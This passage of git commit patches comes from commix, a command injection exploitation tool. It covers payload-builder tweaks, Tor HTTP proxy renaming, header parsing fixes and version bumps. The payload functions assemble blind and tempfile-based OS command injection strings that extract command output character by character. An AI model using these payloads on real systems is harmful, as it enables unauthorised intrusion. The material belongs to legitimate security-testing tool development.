separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + # Grab the execution output. "cmd=\"$(echo $(" + cmd + "))\"" + separator + @@ -445,7 +445,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " != ${str} ]" + separator + @@ -519,7 +519,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=\"$(" + cmd + ")\"" + separator + "if [ " + str(ascii_char) + " != $str ]" + separator + @@ -587,7 +587,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + "if [ " + str(ascii_char) + " != ${str} ]" + separator + diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 538f2a37dd..0a6b6f38d0 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -64,7 +64,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + @@ -146,7 +146,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). @@ -253,7 +253,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + "echo $str > " + OUTPUT_TEXTFILE + separator + @@ -349,7 +349,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). @@ -429,7 +429,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + # Use space as delimiter "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + @@ -504,7 +504,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " != ${str} ]" + separator + @@ -579,7 +579,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + "if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator + @@ -647,7 +647,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " != ${str} ]" + separator + diff --git a/src/utils/settings.py b/src/utils/settings.py index 73691b84fc..fd75942e6c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "46" +REVISION = "47" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 11e46151331f333e6da93dc5cd426b6b34d726fc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 18 Jan 2022 07:41:33 +0200 Subject: [PATCH 052/560] Fixes https://github.com/commixproject/commix/issues/732 --- .../injections/blind/techniques/time_based/tb_injector.py | 2 +- .../semiblind/techniques/file_based/fb_injector.py | 5 ++++- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index d0c8dc64a6..069a8a8c97 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -54,7 +54,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, request = _urllib.request.Request(target) # Check if defined method is POST. - else : + else: parameter = menu.options.data parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 242f3469b9..1eda1e4e04 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -201,12 +201,15 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht # Get the response of the request response = requests.get_request_response(request) - else : + else: # Check if defined method is POST. parameter = menu.options.data parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) + parameter = ''.join(str(e) for e in parameter).replace("+","%2B") + # Define the vulnerable parameter + vuln_parameter = parameters.vuln_POST_param(parameter, url) # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) diff --git a/src/utils/settings.py b/src/utils/settings.py index fd75942e6c..7fb0c2fd69 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "47" +REVISION = "48" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 896788996f621f5826a3bc174bf77735f0271359 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 19 Jan 2022 20:02:57 +0200 Subject: [PATCH 053/560] Fixes https://github.com/commixproject/commix/issues/731 (TOR HTTP Proxy) --- src/core/requests/requests.py | 10 ++++---- src/core/requests/tor.py | 47 ++++++++++++++--------------------- src/utils/settings.py | 9 ++++--- 3 files changed, 28 insertions(+), 38 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index ee1f89e857..f0063bdb21 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -410,7 +410,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): # Check if defined Tor. elif menu.options.tor: try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_cookie(url, vuln_parameter, payload, proxy) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: @@ -542,7 +542,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): # Check if defined Tor. elif menu.options.tor: try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_user_agent(url, vuln_parameter, payload, proxy) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: @@ -674,7 +674,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): # Check if defined Tor. elif menu.options.tor: try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_referer(url, vuln_parameter, payload, proxy) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: @@ -809,7 +809,7 @@ def inject_host(url, vuln_parameter, payload, proxy): # Check if defined Tor. elif menu.options.tor: try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_host(url, vuln_parameter, payload, proxy) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: @@ -944,7 +944,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): # Check if defined Tor. elif menu.options.tor: try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_custom_header(url, vuln_parameter, payload, proxy) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index b26c6eff63..b4c7473177 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -22,45 +22,33 @@ from src.utils import requirments from src.thirdparty.colorama import Fore, Back, Style, init -""" -Check for TOR HTTP Proxy. -""" + if menu.options.tor_port: - PRIVOXY_PORT = menu.options.tor_port + TOR_HTTP_PROXY_PORT = menu.options.tor_port else: - PRIVOXY_PORT = settings.PRIVOXY_PORT + TOR_HTTP_PROXY_PORT = settings.TOR_HTTP_PROXY_PORT """ -Check if HTTP Proxy (tor/privoxy) is defined. +Check if Tor HTTP proxy is defined. """ -def do_check(): - - # Check if 'tor' is installed. - requirment = "tor" - requirments.do_check(requirment) - - # Check if 'privoxy' is installed. - requirment = "privoxy" - requirments.do_check(requirment) - - check_privoxy_proxy = True - info_msg = "Testing Tor SOCKS proxy settings (" - info_msg += settings.PRIVOXY_IP + ":" + PRIVOXY_PORT +def do_check(): + check_tor_http_proxy = True + info_msg = "Testing Tor HTTP proxy settings (" + info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT info_msg += "). " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - privoxy_proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + PRIVOXY_PORT}) - opener = _urllib.request.build_opener(privoxy_proxy) + tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT}) + opener = _urllib.request.build_opener(tor_http_proxy) _urllib.request.install_opener(opener) except: - check_privoxy_proxy = False + check_tor_http_proxy = False pass - if check_privoxy_proxy: + if check_tor_http_proxy: try: check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.DEFAULT_CODEC) - found_ip = re.findall(r": " + "(.*)" + "

", check_tor_page) if not "You are not using Tor" in check_tor_page: sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() @@ -68,6 +56,7 @@ def do_check(): info_msg = "Tor connection is properly set. " else: info_msg = "" + found_ip = re.findall(r": " + "(.*)" + "

", check_tor_page) info_msg += "Your ip address appears to be " + found_ip[0] + ".\n" sys.stdout.write(settings.print_bold_info_msg(info_msg)) warn_msg = "Increasing default value for option '--time-sec' to" @@ -80,9 +69,9 @@ def do_check(): err_msg = "It seems that your Tor connection is not properly set. " else: err_msg = "" - err_msg += "Can't establish connection with the Tor SOCKS proxy. " + err_msg += "Can't establish connection with the Tor HTTP proxy. " err_msg += "Please make sure that you have " - err_msg += "Tor installed and running so " + err_msg += "Tor bundle installed and running so " err_msg += "you could successfully use " err_msg += "switch '--tor'." print(settings.print_critical_msg(err_msg)) @@ -95,7 +84,7 @@ def do_check(): else: err_msg = "" err_msg = "Please make sure that you have " - err_msg += "Tor installed and running so " + err_msg += "Tor bundle installed and running so " err_msg += "you could successfully use " err_msg += "switch '--tor'." print(settings.print_critical_msg(err_msg)) @@ -118,8 +107,8 @@ def use_tor(request): raise SystemExit() try: - privoxy_proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + PRIVOXY_PORT}) - opener = _urllib.request.build_opener(privoxy_proxy) + tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT}) + opener = _urllib.request.build_opener(tor_http_proxy) _urllib.request.install_opener(opener) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response diff --git a/src/utils/settings.py b/src/utils/settings.py index 7fb0c2fd69..cbf11ef120 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "48" +REVISION = "49" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -560,9 +560,10 @@ def sys_argv_errors(): # Default Scheme SCHEME = "" -# Privoxy Proxy -PRIVOXY_IP = "127.0.0.1" -PRIVOXY_PORT = "8118" +# TOR HTTP Proxy +TOR_HTTP_PROXY_IP = "127.0.0.1" +TOR_HTTP_PROXY_PORT = "8118" +TOR_HTTP_PROXY_SCHEME = "https" # Cookie injection COOKIE_INJECTION = False From e81703654e4a139db520bdf8ff9d793318d452ea Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 20 Jan 2022 18:16:41 +0200 Subject: [PATCH 054/560] Minor update --- src/core/main.py | 24 ++++++++++++------------ src/utils/settings.py | 2 +- 2 files changed, 13 insertions(+), 13 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index e20a5b0db2..4d5204ecf4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -824,18 +824,6 @@ def main(filename, url): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] - # Check for HTTP Method - if len(settings.HTTP_METHOD) != 0: - http_request_method = settings.HTTP_METHOD.upper() - else: - if not menu.options.data or \ - not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in menu.options.url or \ - settings.INJECT_TAG in menu.options.url or \ - [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]: - http_request_method = settings.HTTPMETHOD.GET - else: - http_request_method = settings.HTTPMETHOD.POST - # Define the level of tests to perform. if menu.options.level > 3: err_msg = "The value for option '--level' " @@ -858,6 +846,18 @@ def main(filename, url): elif menu.options.requestfile or menu.options.logfile: parser.logfile_parser() + # Check for HTTP Method + if len(settings.HTTP_METHOD) != 0: + http_request_method = settings.HTTP_METHOD.upper() + else: + if not menu.options.data or \ + not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in menu.options.url or \ + settings.INJECT_TAG in menu.options.url or \ + [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]: + http_request_method = settings.HTTPMETHOD.GET + else: + http_request_method = settings.HTTPMETHOD.POST + if menu.options.offline: settings.CHECK_FOR_UPDATES_ON_START = False diff --git a/src/utils/settings.py b/src/utils/settings.py index cbf11ef120..122d1e45d4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "49" +REVISION = "50" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 0a129a05897fe7487c5c0ccf6a2ba6515e7fcf93 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 21 Jan 2022 08:25:46 +0200 Subject: [PATCH 055/560] Minor update --- src/core/requests/headers.py | 6 +++++- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 850f794689..1376b770a7 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -320,6 +320,8 @@ def do_check(request): if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): request.add_header("Content-Type", "application/json") + if re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): + request.add_header("Content-Type", "text/xml") # Appends a fake HTTP header 'X-Forwarded-For' if settings.TAMPER_SCRIPTS["xforwardedfor"]: @@ -327,7 +329,8 @@ def do_check(request): xforwardedfor.tamper(request) # Default value for "Accept-Encoding" HTTP header - request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) + if not (menu.options.requestfile or menu.options.logfile): + request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic / Digest Access Authentication. @@ -380,6 +383,7 @@ def do_check(request): extra_headers = menu.options.header extra_headers = extra_headers.replace(":",": ") + if ": //" in extra_headers: extra_headers = extra_headers.replace(": //" ,"://") diff --git a/src/utils/settings.py b/src/utils/settings.py index 122d1e45d4..c3ad9fa745 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "50" +REVISION = "51" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 299fa0797e685cf4074e0688860872767c55ab62 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 22 Jan 2022 16:58:41 +0200 Subject: [PATCH 056/560] Minor update --- src/core/injections/controller/parser.py | 8 ++++---- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index aee6857af8..16631fee56 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -149,17 +149,17 @@ def invalid_data(request): if re.findall(r"Host: " + "(.*)", line): menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) # User-Agent Header - elif re.findall(r"User-Agent: " + "(.*)", line) and not (menu.options.agent or menu.options.mobile): + if re.findall(r"User-Agent: " + "(.*)", line): menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) # Cookie Header - elif re.findall(r"Cookie: " + "(.*)", line): + if re.findall(r"Cookie: " + "(.*)", line): menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) # Referer Header - elif re.findall(r"Referer: " + "(.*)", line): + if re.findall(r"Referer: " + "(.*)", line): menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: prefix = "https://" - elif re.findall(r"Authorization: " + "(.*)", line): + if re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type == "basic": diff --git a/src/utils/settings.py b/src/utils/settings.py index c3ad9fa745..d7edd5c7b0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "51" +REVISION = "52" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From eca27e074d74f088e90d8265801682cd69c2c2a6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 23 Jan 2022 09:22:56 +0200 Subject: [PATCH 057/560] Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). --- doc/CHANGELOG.md | 1 + src/core/requests/headers.py | 33 ++++++++++++++++++++++----------- src/utils/settings.py | 5 +++-- 3 files changed, 26 insertions(+), 13 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 02bdfbd41a..dc6398a556 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Fixed: Minor bug-fix regarding parsing JSON objects. * Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response. * Added: Support for checking for not declared cookie(s). diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 1376b770a7..731a9eb0eb 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -301,7 +301,7 @@ def do_check(request): request.add_header(settings.HOST, menu.options.host) # Check if defined any User-Agent HTTP header. - if menu.options.agent: + if menu.options.agent and settings.USER_AGENT_INJECTION == None: request.add_header(settings.USER_AGENT, menu.options.agent) # Check if defined any Referer HTTP header. @@ -316,22 +316,22 @@ def do_check(request): request.add_header(settings.HTTP_ACCEPT_HEADER, settings.HTTP_ACCEPT_HEADER_VALUE) # The MIME media type for JSON. - if menu.options.data: + if menu.options.data and not (menu.options.requestfile or menu.options.logfile): if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): - request.add_header("Content-Type", "application/json") - if re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): - request.add_header("Content-Type", "text/xml") + request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): + request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + + # Default value for "Accept-Encoding" HTTP header + if not (menu.options.requestfile or menu.options.logfile): + request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) # Appends a fake HTTP header 'X-Forwarded-For' if settings.TAMPER_SCRIPTS["xforwardedfor"]: from src.core.tamper import xforwardedfor xforwardedfor.tamper(request) - # Default value for "Accept-Encoding" HTTP header - if not (menu.options.requestfile or menu.options.logfile): - request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) - # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic / Digest Access Authentication. if menu.options.auth_cred and menu.options.auth_type: @@ -398,7 +398,18 @@ def do_check(request): # Remove empty strings extra_headers = [x for x in extra_headers if x] - + if menu.options.data: + # The MIME media type for JSON. + if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ + re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): + if "Content-Type" not in str(extra_headers): + request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): + if "Content-Type" not in str(extra_headers): + request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + if "Accept-Encoding" not in str(extra_headers): + request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) + for extra_header in extra_headers: try: # Extra HTTP Header name @@ -414,7 +425,7 @@ def do_check(request): settings.CUSTOM_HEADER_NAME = http_header_name # Add HTTP Header name / value to the HTTP request if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: - request.add_header(http_header_name.encode(settings.DEFAULT_CODEC), http_header_value.encode(settings.DEFAULT_CODEC)) + request.add_header(http_header_name, http_header_value) except: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index d7edd5c7b0..0d4d0a3c13 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "52" +REVISION = "53" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -722,8 +722,9 @@ def sys_argv_errors(): "utf-8-sig" ] -# Default value for HTTP Accept-Encoding header HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate" +HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json" +HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "text/xml" # Default server banner SERVER_BANNER = "" From d2d7ec39b2b807b3dbc6470499c1cbd001a42e34 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 24 Jan 2022 08:44:36 +0200 Subject: [PATCH 058/560] Fixes https://github.com/commixproject/commix/issues/734 --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_handler.py | 3 ++- .../blind/techniques/time_based/tb_injector.py | 8 ++++---- src/core/injections/controller/controller.py | 10 +++++----- .../results_based/techniques/classic/cb_handler.py | 3 ++- .../results_based/techniques/classic/cb_injector.py | 8 ++++---- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_injector.py | 8 ++++---- .../semiblind/techniques/file_based/fb_handler.py | 3 ++- .../semiblind/techniques/file_based/fb_injector.py | 8 ++++---- .../semiblind/techniques/tempfile_based/tfb_handler.py | 3 ++- .../techniques/tempfile_based/tfb_injector.py | 8 ++++---- src/core/modules/dns_exfiltration/dns_exfiltration.py | 6 ++++-- .../modules/icmp_exfiltration/icmp_exfiltration.py | 7 +++++-- src/utils/settings.py | 4 ++-- 15 files changed, 46 insertions(+), 36 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index dc6398a556..6cd1a56d48 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Fixed: Minor bug-fix regarding parsing JSON objects. * Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response. diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 91db9fdc07..7335eb83da 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -375,7 +375,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: header_name = "" the_type = " parameter" - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 069a8a8c97..a55951dc0e 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -45,8 +45,8 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, end = 0 start = time.time() - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) target = url.replace(settings.INJECT_TAG, payload) @@ -92,8 +92,8 @@ def injection_test(payload, http_request_method, url): end = 0 start = time.time() - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 110a7889f2..01d48e8882 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -564,7 +564,7 @@ def get_request(url, http_request_method, filename, timesec): """ def post_request(url, http_request_method, filename, timesec): - # Check if HTTP Method is POST. + parameter = menu.options.data found_parameter = 